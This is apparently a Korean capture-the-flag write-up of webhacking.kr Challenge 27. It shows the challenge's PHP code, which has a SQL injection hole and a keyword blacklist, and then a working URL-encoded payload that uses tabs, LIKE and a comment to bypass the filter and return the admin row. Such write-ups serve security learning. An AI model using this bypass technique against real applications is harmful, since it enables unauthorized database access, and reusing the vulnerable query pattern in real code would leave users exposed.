위는 Challenge 27의 초기 화면이다.
view-source를 이용해 아래 코드를 확인해주었다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
위 코드와 같이 id가 admin이면 된다.
admin's no는 2라고 적혀있다.
id='guest' and (0) or no like 2-- 를 통해 no를 2로 만들어주었다.
?no=0%29%09or%09no%09like%092--%09
'Web Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] Challenge 23 (0) | 2022.11.12 |
---|---|
[webhacking.kr] Challenge 47 (0) | 2022.11.06 |
[webhacking.kr] Challenge 25 (0) | 2022.10.02 |
[webhacking.kr] Challenge 19 (0) | 2022.09.24 |
[webhacking.kr] Challenge 20 (0) | 2022.09.18 |